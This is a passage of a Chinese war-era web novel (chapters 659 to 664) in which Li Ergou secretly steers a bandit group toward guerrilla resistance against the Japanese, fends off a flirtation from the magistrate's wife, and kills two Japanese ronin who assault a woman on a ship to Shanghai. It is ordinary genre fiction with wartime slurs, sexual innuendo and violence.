“谢谢,”宋小曼接过水杯,笑意盈盈地看着望冬,“望冬,真是士别三日,当刮目相看啊,你现在变化实在是太大了。” “谢谢三奶奶夸奖,我能有如今的变化也离不开三奶奶当年对我的教诲。” 无论气质还是谈吐,望冬的变化都令宋小曼惊讶不已。 “望冬,你是什么时候上的清风山?我记得我走的时候你还在胡家大院吧?” 望冬这一次没有急着回答,如今李素文已经回到胡家大院,如果自己说当初是跟随李素文上了清风山,那就很难解释为什么现在李素文跟着李二狗回了胡家大院! “当年四奶奶离开胡家大院之后,大奶奶可怜我,就把卖身契还给了我,我就离开了胡家大院。” 望冬的回答显然不能令宋小曼信服! 胡家大院虽是地主大院,但总归是乱世中的一个避风港,望冬不可能无缘无故地离开胡家大院。 “望冬,我记得你父母都去世了吧?你离开胡家大院之后去了哪里?” 望冬没想到宋小曼记得这么清楚,也没想到她会打破砂锅问到底。 “他们已经去世了,我离开胡家大院不久就遇到了我现在的丈夫,就跟着他上了清风山。” 第659章 欲盖弥彰 “你认识他的时候他就已经在清风山上了吗?”宋小曼追问道。 她的意思很明显,她就是想知道望冬当初是不是嫁给了清风山的土匪? 望冬点了点头,陈老三的确是当了土匪之后才娶了她,她没有必要撒谎。 “他叫什么?在你们清风集团做什么?” 宋小曼穷追不舍的态度令望冬内心略微有些抵触,但宋小曼是胡家大院的三姨太,曾经也是自己的主子,望冬只能耐着性子回复她。 “他叫陈老三,在清风集团当个经理。” 望冬觉得宋小曼可能不知道经理是个什么职务,她就不信宋小曼还会一直穷追不舍地问下去。 可宋小曼的关注点根本不在经理这个职务上,她一听到陈老三的名字,再次吃了一惊。 陈老三,不就是当年李二狗的那个狗腿子吗? 当初他被胡士高逐出胡家大院,没想到竟上山当了土匪,还娶了望冬为妻。 凭陈老三那个四肢发达、头脑简单的人能做得到这些吗?他的背后是不是站着李二狗? 要说和李二狗没有关系,她打死也不相信。 宋小曼突然问道:“望冬,你们和李二狗还有联系吗?” 望冬表情明显一怔。 “没……没有。” 典型的欲盖弥彰。 李二狗即使不和望冬联系,也不会不和陈老三联系。 望冬这么急着否认,只能说明她心虚,在刻意掩饰什么。 “望冬,你就打算在这清风山一直这样待下去吗?” 望冬不明白宋小曼的意思,说道:“我已嫁做人妇,他在哪我就在哪,三奶奶,我没得选啊。” “如今日本帝国主义在中国到处烧杀抢掠、无恶不作,咱们中国马上就要亡国灭种了!” 望冬更加迷惑,不知道宋小曼为何突然和她说这些。 “三奶奶,您这次到清风山是做什么?” 望冬决定主动出击,不再被宋小曼牵着鼻子走。 “望冬,实不相瞒,我已经加入了中国共产党。” “中国共产党?” 望冬以前虽然零星听说过这个名字,但还是第一次见到一个活生生的共产党站在自己面前。 “对,中国共产党,一个坚决反抗日本侵略者、一心为穷苦百姓打天下的政党。” “三奶奶,那您到我们清风山干什么?” “望冬,中华民族现在已经到了最危险的时刻,我们每一个中国人都应该站起来反抗日本侵略者,把他们赶出中国!只有这样咱们中国才有救啊!” 望冬有点明白宋小曼的意思了,她是来鼓动清风集团抗日的。 “三奶奶,其实我们也痛恨日本鬼子,可我们集团就这么点人,实在不是日本鬼子的对手啊。” 宋小曼耐心地解释道:“望冬,人少不可怕,可怕的是人心不齐!如果每一个中国人都有你这种想法,那谁来反抗日本侵略者?难道我们都等着当亡国奴吗?” 望冬沉默了,宋小曼的话确实有道理,但她也知道,清风集团这一千多号人,如果和日本鬼子硬碰硬,只会白白枉送了性命。 当亡国奴总比死于非命强吧?好死不如赖活着! “三奶奶,其实……” “叫我小曼姐。” 望冬一怔,只得改口道:“小曼姐,你说的这些道理我都懂,可要让大家就这样去和日本鬼子硬碰硬,那不是白白送死吗?如果人都死了,即使把日本鬼子赶出中国又有什么意义呢?” 宋小曼突然心底一阵心凉。 如今的中国,绝大多数人都是望冬这种思想。 他们不希望中国亡国! 不希望自己当亡国奴! 但他们又不敢站出来反抗,他们希望有人站出来替他们反抗日本侵略者! “望冬,没有人想死,可你不去死,我也不去死,难道让我们的子孙后代去死吗?” 望冬不否认宋小曼的话很有道理,但道理大家都懂,但又有几人能做到呢? 牺牲自己,成全别人,不是人人都有这种境界。 “小曼姐,实在不好意思,我人微言轻,在集团也说不上话。” 望冬还是没有弄懂宋小曼的意思,所以她决定先不暴露自己的身份,当然她确实也决定不了这件事,能决定这件事的只有李二狗一人。 宋小曼本来也没期望望冬能做什么,她只是想从望冬这里打探一下李二狗和清风集团的关系。 “望冬,你不要自责,我看你们集团那个当家的并不是不通情理之人,相信他一定会做出正确的选择。” “小曼姐,谢谢您的理解。”望冬心里终于松了一口气。 “望冬,有空回胡家大院看看,我先回去了。”宋小曼站了起来,“望冬,千万不要向任何人泄露我的身份,否则会连累整个胡家大院。” 宋小曼刻意说会连累胡家大院,因为那里有李素文和李二狗,望冬肯定不愿意他们受到牵连。 “小曼姐,你就放心吧,我谁都不会说的。” 望冬一直把宋小曼送到山寨门口。 回到家中,陈老三正坐在椅子上喝茶。 “老三,你什么时候回来的?” 陈老三没有回答,而是问道:“望冬,刚才那个女人是胡家大院的三奶奶宋小曼吗?她回来了?” “你看见她了?” “看见了,我怕引起不必要的麻烦所以就没有回家。” 望冬下意识地看了看身后,然后低声说道:“老三,我告诉你,她是共产党,她这次来清风山是想让咱们集团和她们一起抗日。” 陈老三下意识地问道:“狗哥知道这件事吗?” “我不知道,不过秀才应该是拒绝了她。” “秀才拒绝了……”陈老三嘴里嘀咕道,“那他有没有请示狗哥呢?” 正当陈老三嘀咕时,秀才正好打发人来叫他们去议事厅商量事情。 来到议事厅,秀才正坐在会议桌右侧的第一个位置。 会议桌正中央的那个位置,尽管李二狗已经被逐出集团,但秀才还是不敢坐。 他不坐,寨务会的人并没有人觉得不合理。 在大家的潜意识里,那里是李二狗的位置,只有李二狗才有资格坐。 第660章 抗战是一个长期的过程 “老三,望冬,有件事和你们说一下。” 陈老三故意说道:“秀才,有什么事你自己决定就行,不用和我们说。” 望冬难以置信地看向陈老三,不明白他为何会说出这种话来。 秀才又岂能听不出陈老三话里的揶揄之意。 但他现在是清风集团的总经理,李二狗转入幕后之后,他就是清风集团名义上的大当家,他不会惯着陈老三的臭毛病。 “老三,你他娘的胡咧咧什么?集团的事什么时候轮得着我做主?” 陈老三被秀才一骂,反而开心起来,这证明秀才并没有忘本。 “秀才,你狗日的咋这么不禁逗呢?和你开个玩笑还当真了,哈哈,真不禁逗,哈哈!” 陈老三那点小心思,在秀才面前就是个透明人,他不想和他计较。 “老三,望冬,前几天你们去其他农村检查工作,有件事我没来得及和你们通气,不过我已请示狗哥,他明确表示拒绝。” “什么事?”陈老三故意装糊涂。 “三天前,有一个共产党来到清风山,张口就要收编咱们集团的武装!” 陈老三本来以为是联合抗日,没想到竟是收编。 “她的口气未免大了些吧?想收编咱们集团,笑话。” “老三,你知道来人是谁?” “我……我怎么会知道?无论她是谁,都不能收编咱们集团,狗哥也绝对不会同意的。” 秀才看陈老三还是一副疑惑的眼神。 刚才宋小曼下山之时,遇见望冬,并去了望冬家里,这些秀才都亲眼看到了。 现在陈老三却矢口否认认识那个女人,他到底在隐瞒什么? “我已经向狗哥汇报过了,狗哥不同意。” 李二狗和宋小曼的情感纠葛主要发生在省城和鄂豫皖根据地,陈老三并不知道他们两人的关系。 宋小曼虽然长的十分美艳,但李二狗也不会因为她的美貌就置整个集团的利益于不顾,他不是那样的人。 陈老三高兴地说道:“狗哥做得对,我支持!” “就怕她不死心啊。”望冬说道。 陈老三毫不在乎地说道:“不死心又能怎么样?咱们一千多号人还怕她不成?” 望冬则不这样想,刚刚宋小曼总是有意无意地向她打听李二狗的消息,虽然她不能完全明白宋小曼这样做的目的。 但望冬知道李二狗的软肋,他一向对漂亮的女人缺乏抵抗力。 如今宋小曼已经回到胡家大院,两人接触的多了,难保李二狗不动心。 正所谓英雄难过美人关! 在没有弄清楚李二狗和宋小曼的关系之前,望冬决定先保持沉默。 宋小曼在回胡家大院的路上,一直在想李二狗和清风集团的关系。 如果李二狗真是清风集团的幕后老板,如果自己和他保持情感上的联系,他会不会答应自己收编的要求呢? 想到这,宋小曼忍不住骂了自己一顿。 在她心中无比崇高的事业怎么能用这么卑劣的手段去实现呢?她绝对不能这样做! 可要收编一个有上千号人的队伍,仅凭自己的力量实在很难实现。 她知道,在江东地区,组织非常需要有这么一支队伍来扛起抗日的大旗! “小曼,怎么这么晚才回来?” 宋小曼刚走到胡家大院院门口,李二狗就从旁边的门房里闪身走了出来。 “李管家管得未免有些太宽了吧?” 宋小曼越不搭理李二狗,李二狗心里越是像猫抓一样, “小曼,如今到处都兵荒马乱的,我只是担心你的安危!” 宋小曼刚想出言讥讽,突然她想试一试李二狗对日本人的真实态度。 “李管家,你不仅是胡家大院的管家,还是仙人洞镇维持会会长,在仙人洞镇,有你在,还有什么不安全的?恐怕日本人见了你都得礼让三分吧?” 李二狗当即听出宋小曼的试探之意,李二狗必须让宋小曼明确地知道自己对日本人的态度。 “小曼,我早已和你说过,我当这个维持会会长就是权宜之计,我只是想尽自己最大的努力来保护仙人洞镇的百姓免受日本人的蹂躏之苦。” “呵呵,你难道没听见全仙人洞镇的百姓都在骂你是汉奸走狗吗?” 李二狗大义凛然地说道:“只要能保护他们的安全,我李二狗又何惧承担这个汉奸的骂名?” 从李二狗的眼神里,宋小曼读出了真诚,看来李二狗确实不是真心或者因为怕死才当汉奸。 “二狗,”宋小曼对李二狗称呼的改变意味着她态度的转变,“你想过没有,要想真正地保护老百姓免受日本人的蹂躏,唯一的办法就是把他们彻底赶出中国,这才是治本之策啊!” “小曼,你说的这些我何尝不明白?可现在日本人势如破竹,连国军都抵挡不住他们的进攻,我们这些平头老百姓又能有什么办法呢?” “打不过就不打吗?”宋小曼质问道。 “打不过怎么打?如果硬来,那不是白白丢掉性命吗?” 面对李二狗朴素的疑问和炽热的眼神,宋小曼突然意识到自己太心急了,她没有把党的宗旨和抗日主张告诉这些不了解共产党的人。 “二狗,其实我党的抗日主张不是去和日本人硬拼,而是在敌后和他们打游击战、运动战,让他们陷入人民战争的汪洋大海,以此来打击他们、消耗他们,最后拖垮他们。” 李二狗立即明白了宋小曼话里的意思,他小时候和村里的大孩子打架就是这样做的。 “你的意思是打得过就打,打不过就跑,对吗?” 李二狗的话虽糙,但理却不糙。 宋小曼笑道:“大体意思差不多。总之,面对强大的敌人,我们不能硬拼,一定要和他们打消耗战,二狗,你不知道,日本只是一个弹丸之地,他们经不起长期消耗的!” 李二狗怎会不知道日本是一个弹丸之地,他生产的一夜八次丸早已畅销日本。 “小曼,我明白你的意思了,抗日战争是一个长期的过程,我们既然不能快速消灭日本鬼子,那就用时间把他们拖死,对吗?” 宋小曼的心再一次为李二狗跳动起来。 第661章 特别行动队 宋小曼一张俏脸红扑扑的,眼神迷离,刚才李二狗的话令她重新对他燃起了希望之火。 “二狗,你跟我进屋,我要和你好好说一说我们党的抗日主张。” 李二狗当然求之不得。 此刻他对知识的渴望就像饥饿的人扑在白馍馍上一样。 一直到第二天鸡叫三遍、日上三竿,李二狗才意犹未尽地从宋小曼屋中走出来。 凉风习习,清晨和煦的阳光照射在他英俊的脸庞上,他有一种如梦初醒的感觉。 经过和宋小曼一夜深入的交流,李二狗觉得,不管清风集团现在加不加入共产党,打日本鬼子都已是迫在眉睫的事情。 当然,尽管宋小曼昨夜旁敲侧击了很多次,李二狗始终没有承认自己和清风集团有任何关系。 他有自己的顾虑。 虽然他已了解了共产党的抗日主张,但这都是宋小曼的片面之词,听其言还要观其行,他现在还不能确定,他们是不是也和国民党一样,当面说一套,背后做另一套。 李二狗需要时间来验证宋小曼所说的话到底对不对。 由于宋小曼已经回到胡家大院,秀才等人再到胡家大院找李二狗汇报工作便多有不便。 当然,没有什么事能难得住李二狗。 他安排张二驴去告诉秀才等人,以后见面地点改到李二狗在仙人洞镇的家中。 每周日的下午两点钟,李二狗会在家中听取秀才汇报集团本周的工作总结和下周的工作安排。 如果有紧急的事情,由张二驴负责传话,秀才等人不允许擅自进入胡家大院。 在一次例行会议上,李二狗深有感触地说道:“不管共产党收编咱们集团的目的到底是什么,但她们有一句话说的很有道理,中华民族已经到了最危险的时刻,咱们作为中国人,理应站出来,打鬼子、除汉奸,绝对不能坐等着当亡国奴!” 陈老三当即表态道:“狗哥,你说的对,我早就想和小日本鬼子干一仗了!你就下命令吧,不行咱们就直接打进江东县城,端了小鬼子的老巢,让他们从哪里来滚回哪里去,哈哈!” 看着陈老三兴奋的样子,李二狗忍不住骂道:“老三,你狗日的在做事情之前能不能动动脑子?打鬼子没有你这个打法,我看小鬼子没打着,倒先把兄弟们折进去了!咱们绝不能做赔本的买卖。” 陈老三刚才一时激动,只想着在李二狗面前表现自己服从他命令的姿态,没想到却引来他一顿痛骂。 “嘿嘿,我只是表达一下我激动的心情,具体怎么打鬼子,还得听狗哥你的命令不是?嘿嘿。” 陈老三就是这样一个人,每次挨完李二狗的骂,他心里都像吃了蜜蜂屎一样开心。 “江东县城城墙坚固,易守难攻,又有日本鬼子的重兵把守,咱们集团缺乏攻城的重武器,想要攻打县城,无异于以卵击石,再说,咱们攻下县城有什么用?日本人调集力量反扑,咱们还是守不住!” 秀才深以为是。 “狗哥说得对,国民政府上百万军队守卫上海都没守住,咱们冒着巨大危险去攻打一个县城确实没有任何意义,我看还不如多消灭一个日本鬼子有意义。” 秀才的话颇合李二狗的心意,也和宋小曼所说的游击战、运动战的精髓相吻合。 抗日战争是一个长期过程,绝不能在意一城一池的得失。 不过秀才刚才提到上海失守,还是让李二狗心里“咯噔”一下。 于兰芝、静雯等人在上海已经好几个月没有音讯,他必须亲自去一趟上海见到他们才能放心。 “秀才,咱们虽然人多,但是绝不能和小鬼子硬拼。我看咱们可以专挑小股鬼子下手,无论他们是下乡抢粮还是夜间在县城巡逻,咱们都可以集中优势兵力把他们干掉!至于怎么干,你和老三先回去制定一个行动方案。” 秀才把李二狗的话都记在了小本本上。 刚才由于李二狗只给了一个笼统的指导意见,并没有给出具体的实施方案,秀才脑子里还是有些混沌。 “狗哥,咱们集团目前有一千多号兄弟,行动起来多有不便,还容易暴露,而且大家都行动起来打鬼子,也耽误整个集团的生产进度啊。” 秀才的这些疑虑正是李二狗接下来要说的。 “秀才,咱们打鬼子的同时千万不能耽误生产,药丸还得继续制作,走私还得继续开展,当然土地还得继续耕种。” 秀才面露难色,鱼与熊掌真的很难兼得。 李二狗最擅长的就是先抛出一个难题,然后在大家无从下手的时候给出一个明确的答案。 “你们回去之后,在集团挑选一些武艺高强、枪法精湛又机灵能干的兄弟,组成一个特别行动队,这些兄弟平时不参与集团的生产劳作,专职打鬼子,我看这个特别行动队可以由孙连胜来当队长。” 对于特别行动队这个新鲜的词,秀才、陈老三和望冬都听得一头雾水,他们不知道李二狗都是从哪里听到的这些新词。 不等秀才等人说话,李二狗继续说道:“你们回去告诉弟兄们,每杀一个日本鬼子额外赏大洋一百块!杀一个汉奸赏大洋五十块!即使杀不了日本鬼子和汉奸,只要参加一次杀日本鬼子的行动,每人也赏大洋十块!” 正所谓重赏之下必有勇夫! 如果一个人目前还没有信仰和抱负,那就用他无法拒绝的金钱来激励他! 只要能杀日本鬼子,李二狗愿意用尽一切办法来激励大家! 理想主义虽然可贵,但并不是人人都有李二狗的境界。 杀一个日本鬼子赏一百块大洋,不管其他人怎么想,陈老三都有些心动。 “狗哥,我如果杀十个鬼子,就赏一千块大洋吗?” 李二狗笑了笑,说道:“当然,杀一个日本鬼子赏一百块大洋,上不封底,你要有能耐就杀一百个小鬼子,马上赏你一万块大洋!” 陈老三激动的直搓手,他恨不得现在就冲进县城,先杀几个小鬼子润润手。 第662章 二丫和二狗 李二狗知道,有些事情自己不说透,他们这些人在执行过程中遇到问题还是会不停地请示自己。 他马上就要动身前往上海,有些事情必须提前交代明白,他才能放心前往。 他继续强调道:“还有一点很重要,你们回去之后,在选人之前一定要和兄弟们讲清楚,无论在什么时候,哪怕被日本人俘虏了,也绝对不能暴露清风集团。让兄弟们记住,你被俘虏了,集团一定会想办法去救你,但你如果说出清风集团,即使小鬼子不杀你,集团也绝不会轻饶了你!这一点,一定要和想加入特别行动队的兄弟们讲清楚,如果做不到,哪怕你功夫再好,枪法再准,特别行动队也不能接纳你!” “放心吧,狗哥,回去之后我就着手挑选合适的人选,不仅看功夫,更要看他们的品格!” 李二狗赞许地点了点头。 “特别行动队成立之后,让孙连胜带领大家先进行一个月的特训,这一个月之内绝对不能下山杀鬼子!在杀鬼子之前一定要先学会让自己怎么在战场上活着。孙连胜在二十九军当过大刀队队长,他知道怎么训练。” “还有,老三,你不要干涉特别行动队的训练。” 特别行动队作为集团的新鲜事物,陈老三是十分感兴趣的,谁承想李二狗根本不让他染指。 “狗哥,我的枪法可不比孙连胜那小子差,我教教兄弟们打枪还是可以的。” “我刚才说的话你当是放屁吗?你要敢插手,我一脚踹死你!望冬,你管好老三!” “狗哥,放心,我一定管好他!” 陈老三则是一副生无可恋的表情。 当李素文听到李二狗要去上海的消息时,只是默默地点了点头,既没说同意也没说反对。 她知道于兰芝在上海,他们还有一个共同的女儿也在上海。 不能为李二狗生个一儿半女,成为李素文心中永远的痛。 “注意安全,早去早回。” 李素文永远是那么的善解人意,这也是李二狗最满意她的地方。 李二狗也把自己要去上海的消息告诉了宋小曼。 “你要去上海?你疯了吗?上海刚刚被日本人占领,他们正在大肆烧杀抢掠,你现在去,不是往火坑里跳吗?我不让你去!” 正因为上海现在是火坑,李二狗才更要去! 他的女人、他的孩子,还有他爹都在上海杳无音讯,他必须得去。 李二狗微笑道:“我只是告诉你一声,上海我一定得去!你照顾好自己。” 李二狗执意要去,宋小曼即使有一万个不愿意也无法阻止李二狗,因为她不是他的谁,她没有资格阻拦他。 她能做的只是心里默默地为他祈祷。 告别胡家大院的两个女人,李二狗来到江东县城,他要离开江东,必须得提前知会孙竹刚一声。 假如胡家大院有事,他也能给予照顾。 “二狗兄弟,我正准备打发人去请你,你正好来了,今晚别走了,咱兄弟俩一醉方休,让你小嫂子包海鲜馅的饺子给你吃。” 二丫站在孙竹刚身后,怯生生地低着头不说话。 她之所以嫁给孙竹刚,并不是喜欢他,而是因为他是县长。 孙竹刚矮小猥琐,既不中看也不中用,新婚不久,二丫已对他有诸多不满。 “大哥,我今天来是特地来向你告别的。” “告别?二狗兄弟,你要去哪?” 孙竹刚以为李二狗要离开江东,着实吃了一惊,他离不开李二狗。 “我去趟上海,我家老爷子在那里,这几个月一直没有他的消息,我得去看看才能放心。” “二狗兄弟啊,上海刚刚经过几个月的大战,目前已经落入日本人之手,你现在去,实在是太危险了!还是等等再说吧。” “大哥,我不亲自去一趟,实在是寝食难安啊。你放心吧,我去的是上海租界区,听说日本人不敢进入租界区。” 听到租界区,孙竹刚内心稍安。 “既然兄弟执意要去,我也不好强留,只是今晚别走了,明天再出发,咱们兄弟一醉方休!” 孙竹刚说完转身看向二丫。 “二丫,还不快去给二狗兄弟包海鲜馅的饺子?二狗兄弟最喜欢鲍鱼馅的饺子了。” 二丫比李二狗小几岁,她不知道该如何称呼他,便红着脸说道:“那我现在就去吩咐厨房炒几个菜,你们先喝着,我去包饺子。” 李二狗盛情难却,只好说道:“那就辛苦嫂子了。” 二丫红着脸走了,她总觉得李二狗看自己的眼神有一种难以言说的感觉。 孙竹刚和往常一样,很快便喝得酩酊大醉。 “他总是这样,让你看笑话了。”二丫看着孙竹刚的丑态,不好意思地说道。 “大家都是自己人,嫂子不要多想,还是先扶大哥去屋里歇息吧。” 孙竹刚得厉害,二丫一个人根本扶不动,李二狗只好上前搭把手。 两人合力把孙竹刚扶回卧室,好不容易把他放到床上躺好,二丫早已累得香汗淋漓,喘息声带动她胸前的那两座山峰一抖一抖的。 李二狗瞅了一眼,只觉得喉咙里像塞了一块火红火红的木炭,他有点口干舌燥。 二丫敏锐地察觉到李二狗的异样。 “二狗……兄弟,你也喝了不少,我带你去房间歇息吧。” 李二狗突然有一种酒涌上头的感觉,只觉得有些眩晕。 “那谢谢嫂子了。” 二丫带着李二狗来到一个房间门口,她愣了一下,然后轻轻地推开房门。 两人进入房间后,二丫便去床头的柜子里拿出被子褥子为李二狗铺床。 她背对着李二狗在床上忙活,那圆润丰腴的屁股正对着李二狗,李二狗忍不住咽了几口口水。 不知道二丫是有意还是故意,一床被褥她铺了老半天还没铺好,丰腴的屁股还一直在床边扭来扭去,李二狗嗓子里在冒火。 “二狗兄弟,二狗兄弟……” “啊……” 二丫转过身,连喊了两声,李二狗才回过神来。 此时的二丫,额头上沁满了一层细细的汗珠,额前的一缕刘海正好贴在她的额头上,更显妩媚。 第663章 日本浪人行凶 李二狗盯着二丫看了半晌,灼灼的目光仿佛要把她烤熟一般。 他控制控制再控制,终于理智还是终于战胜了欲望。 “嫂……子,时间不早了,你……早点休息吧。” 二丫脸上明显闪过一丝失望之情。 但她知道,家里佣人老妈子一大堆,隔墙有耳,自己不能在这里久待。 “二狗……兄弟,今晚我就住在你对过的那个房间,晚上你有什么需要,尽管开口,嫂子一直在。” 二丫说过之后再次羞涩地低下了头,李二狗可以清晰地看到她火红火红的耳垂上,有一只鹅黄色的蝴蝶耳坠正欲展翅翱翔。 “谢谢嫂子,你早点休息。” 二丫临出门前,再次回头对着李二狗回眸一笑,那笑容里有一种摄人心魄的力量。 李二狗关上房门,深吸一口气,摸起桌上的茶壶,“咕咚咕咚”喝了大半壶凉茶,内心的欲望之火才被慢慢按压下去。 色字头上一把刀,李二狗绝对不允许自己再犯全世界男人都会犯得错误。 他躺在床上,虽然内心依旧波澜起伏,但酒劲上涌之后,他还是很快便进入了梦乡。 倒是睡在他对面房间的二丫,躺在床上,辗转反侧,久久难以入眠,她脑海里都是李二狗英俊的面庞和健硕的身体。 她等了一夜、盼了一夜、想了一夜、怨了一夜,一直等到天亮,终归没有等到门外的敲门声。 第二天一大早,李二狗便收拾好行装,告别孙竹刚,独自前往上海。 中日两国已经在中国东部地区打成了一锅粥,所有通往上海地区的火车都已停运。 李二狗只好赶到海运码头,花大价格购买了一张前往上海的船票。 李二狗站在船头,看着岸边满目疮痍的城市,心生一种凄凉之意。 我泱泱中华、天朝上邦,历史悠久、地大物博,更是拥有四万万人口,如今却被一个撮尔小国逼得国破家亡、走投无路。 这到底是为什么? 这个有着五千年悠久历史的国家到底是怎么了? 难道就要一直被小日本骑在头上拉屎撒尿吗? 到底谁才能带领中国人民打败小日本,彻底改变这个国家的现状? 正当李二狗陷入深思之时,身后突然传来一阵“吆西吆西”的声音,紧接着就是一个女人的呼喊声和救命声。 李二狗转头看到两个醉酒的日本浪人正把一个穿着时髦的女人逼到一个角落里。 “花姑娘,吆西,哈哈哈哈……” “救命啊,救命啊……” 周围站满了围观的人群,他们脸上虽有痛恨之色却没有一个人敢上前阻止。 一个日本浪人突然上前,把女人身上那件精致的墨绿色旗袍的领口撕破了,露出里面荷粉色的胸衣。 两个日本浪人对视一眼,再次发出一阵淫邪的笑声。 “吆西,哈哈……花姑娘地,吆西吆西……” “救救我,救救我!” 女人双手捂在胸前,蜷缩在地上,浑身都在发抖。 正在这时,一个拄着文明棍的男子赶了过来,来人看着五十多岁,从穿着打扮来看,是一个有身份有地位的人。 “太君请息怒,太君请息怒,她不懂事,你们不要和她一般见识,我让她给两位太君道歉。” 他说完之后,看向坐在地上不停哭泣的女子,呵斥道:“哭什么?还不快向两位太君道歉!” 女子还未开口说话,其中一个日本浪人上前一把推开那名男子。 男子站立不稳,手中的文明棍掉在地上,自己摔倒在甲板上。 “八嘎!道歉?道歉有用的话,还要警察干什么?” 男子不顾身体上的疼痛,连忙从甲板上爬起来,脸上依旧保持着谄媚的笑容。 “太君,您想怎么样?” 日本浪人用猥琐的目光盯着女人两个丰满起伏的胸脯,再次发出一阵淫邪的笑声。 “让她现在跪到我面前,然后……哈哈哈……” 日本浪人借着酒劲,缓缓把裤子褪到了脚下,里面只穿了一个白色的尿片。 “啊……” 围观人群中的女人们都尖叫着捂住了自己的眼睛。 “你们……你们……” 男子没想到这个日本浪人竟无耻到这个地步,他哪怕没有一点骨气,也万万接受不了这种羞辱。 他刚想手指那个脱掉裤子的日本浪人,就被日本浪人一脚踹翻在地。 这一脚着实力道十足,男子在甲板上足足滑行了五米远。 伴随着人群的尖叫,他一口鲜血喷向空中。 人群再次尖叫着、躲避着,中间还夹杂着抱怨声! “老爷……” 女子想起身去搀扶那名男子,却被一个日本浪人挡住了去路! “八嘎!快点!否则,死啦死啦地!” 女子显然被吓坏了,她虽然是上流社会的女人,见多识广,平时也玩一些成人之间的游戏,但在大庭广众之下做这种事情,她是无论如何都接受不了的。 一阵海风吹来,穿着尿片的日本浪人不禁打了一个冷颤。 “八嘎!快点!” 另一个日本浪人突然走向前,拽住女人的头发拖行到那个站立日本浪人脚下。 “快点!否则,我把他扔进大海里喂鲨鱼!” 日本浪人指了指躺在甲板上不停呕血的男子,声厉声色地威胁道。 “太……君,求求你们……饶了我吧,我答应……跟你们回船舱,你们想怎么样都行!” “不行!必须在这里!快快地,否则,死啦死啦地!” 日本浪人见女子迟迟不行动,突然暴起,奔向躺在甲板上的那个男子,抓住他的衣领,像拎小鸡一样拖着他往甲板栏杆方向走去。 “璇儿,救我!救我啊!” 男子挥舞着双手向女子求救! 女子彻底绝望了! 如果她不答应日本人无耻的要求,他就得死! 如果她答应了,她还有脸继续活下去吗? 日本浪人一气之下把那个男子扔进了大海。 “老爷,对不起,我来陪你了!” 想到这,她突然从甲板上爬起来,发疯似地奔向栏杆,准备跳海,以死明志。 人群中再次发出一阵尖叫,纷纷闪身躲避,唯恐女子撞到自己身上。 第664章 路见不平拔刀相助 李二狗一直在等待一个合适的出手机会,却没想到日本人这么快就痛下杀手,把那名男子扔进了大海。 他深知在轮船上动手的危险性,四周一片茫茫大海,动手之后根本无处可藏。 可如果袖手旁观,任由两个日本浪人欺侮自己的女同胞,李二狗将会自责一生。 就在女子即将冲到甲板栏杆之时,被李二狗一把拉住了。 女子激烈地挣扎着,以为是日本浪人拦住了她,当她抬头看到蒙面的李二狗时,眼神里先是惊愕,继而是无限的感动。 她没想到,这个时候竟然还有人敢出手相助。 “姑娘,不要想不开,活着比什么都重要。” “大哥,你放我去吧,除了死,我……别无选择!” 李二狗没有松手,他只是微微一笑,说道:“谁说没有别的选择?即使非要死人,那也得让这两个日本人去死!” 女子瞬间惊呆了! 在这个薄情寡义的年代里,竟然还有如此见义勇为且气质迷人的男人! “大哥,谢谢你,可日本人我们惹不起的,我不想连累你,你还是放手让我去死吧。” “妹子,死是一件很容易的事情,可就这样死了,你不觉得冤吗?” “八嘎!” 日本浪人见有一个不知好歹的中国人站出来多管闲事,当即提上裤子,拿起武士刀围住了李二狗。 “你地,支那人,赶紧滚!” “去你妈的!这里是中国的地盘,还由不得你两个日本猪在这里撒野!”李二狗一字一句地回骂道。 “八嘎!” 刚才脱掉裤子的那个日本浪人挥舞着武士刀就劈向李二狗,在众人的惊呼中,李二狗把女子往旁边一推,自己轻易地闪身躲过,然后顺势握住了日本浪人的手腕。 只听一声惨叫,“咔嚓”一声,李二狗瞬间掰断了日本浪人的手腕,然后手上猛地发力一扯,日本浪人就像一条死狗一样,身体轻飘飘地飞出栏杆,直奔大海深处。 “啊!” 围观的人群再次发出一阵惊呼,李二狗竟然把日本浪人扔进了大海,这次他死定了!这个人实在是不知天高地厚! “八嘎!” 另一个日本浪人见状,吓得双手紧紧握住武士刀,冲着李二狗龇牙咧嘴,就是不敢轻易上前。 “八嘎!八嘎!” 李二狗手指日本浪人,讥讽道:“还你妈的九嘎!你到底出不出手,老子腿都站麻了!” “八嘎!” 日本浪人受不了侮辱,挥舞着武士刀劈向李二狗。 “去你妈的!” 李二狗飞起一脚,正踹在这个日本浪人的腹部,他痛得立马弯下身子,捂着肚子哀嚎,武士刀早已扔在甲板上。 正当李二狗要结果了这个畜生性命的时候,轮船上的伪警察出现了。 日本浪人行凶的时候,看不见他们的身影,如今日本浪人一出事他们却突然出现了。 “不许动!把手举起来!” 两个警察把枪口全部对准了李二狗的胸口,李二狗表面上保持着镇定,他缓缓举起双手,身后站着的是那个瑟瑟发抖的女人。 “光天化日之下,你竟敢杀害日本人,你眼里还有没有王法?” “日本人要当众强奸妇女,我只不过是见义勇为!” “强奸妇女?一派胡言,强奸了谁?谁看见了?我怎么没看见有人被强奸?” 女人到底是见过世面之人,她绕过李二狗,走到警察面前,哭得梨花带雨。 “老总,这个日本浪人要当众羞辱我,是这位大哥好心出手相救,你可要为我做主啊!” 警察忍不住多看了两眼这个衣衫不整的女人,无论是身材还是容貌,确实是个美人胚子,难怪日本人会看上她。 “你说日本人强奸你,有什么证据吗?” 女人没想到警察竟会这样反问她。 “现场很多人都看见他们对我欲行不轨,要不是这位大哥及时出手相助,我现在可能就……” 女人再次呜呜地哭了起来。 “这只是你的一面之词,谁能给你作证?” “大家都可以给我作证!” 女子话音刚落,周围的人已一哄而散。 警察狞笑道:“你说谁给你作证?” “这……” 女子哑口无言。 “八嘎呀路!” 日本浪人从地上爬起来,捡起地上的武士刀,双手紧握,再次劈向李二狗。 李二狗微微一笑,轻松地闪身躲过。 “八嘎!” 日本浪人再次挥舞着武士刀劈向李二狗。 李二狗故意大声说道:“老总,你们可都看见了,这个日本浪人要杀我,你们还不出手阻止吗?” 警察怎么敢管日本人的事,他们只是站在原地看着,巴不得这个日本浪人一刀劈了李二狗,这样他们也好交差。 “啊,啊,啊……” 日本浪人一边劈一边大声喊叫着,李二狗瞅准一个机会,在日本浪人一刀劈空后,飞起一脚,把这个日本浪人踢到了大海里。 “好!” 人群中发出一阵喝彩声,其实大家人人都痛恨日本人,只不过他们都盼望着别人出手。 李二狗接连把两个日本浪人踢到大海里,这茫茫大海之中,这两个日本浪人活下来的几率基本为零。 “光天化日之下,你竟然杀害两名日本侨民,跟我们走一趟吧。” 